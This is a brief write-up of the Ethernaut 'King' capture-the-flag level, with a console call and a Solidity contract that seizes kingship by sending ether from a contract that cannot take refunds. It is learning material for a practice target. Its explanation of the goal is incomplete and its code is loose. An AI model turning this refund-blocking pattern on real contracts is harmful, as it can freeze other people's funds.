Ethernaut Puzzle 09 King

The smart contract code provided in this question is very straightforward. To claim kingship, we need to bid higher than the current prize.

The current price is:

1
2
await contract.prize().then(v => v.toString())
'1000000000000000'

The question does not require the king to be at my current address. In other words, as long as the king’s address changes, the question is considered solved. We can write a smart contract here to solve the problem.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

interface King {
}

contract KingSolution {
King public king = King({%YOUR_KING_ADDRESS%});
constructor() public {
}

function becomeKing() public payable{
(bool success, ) = address(king).call{value: 1000000000000000000, gas: 4000000}("");
}
}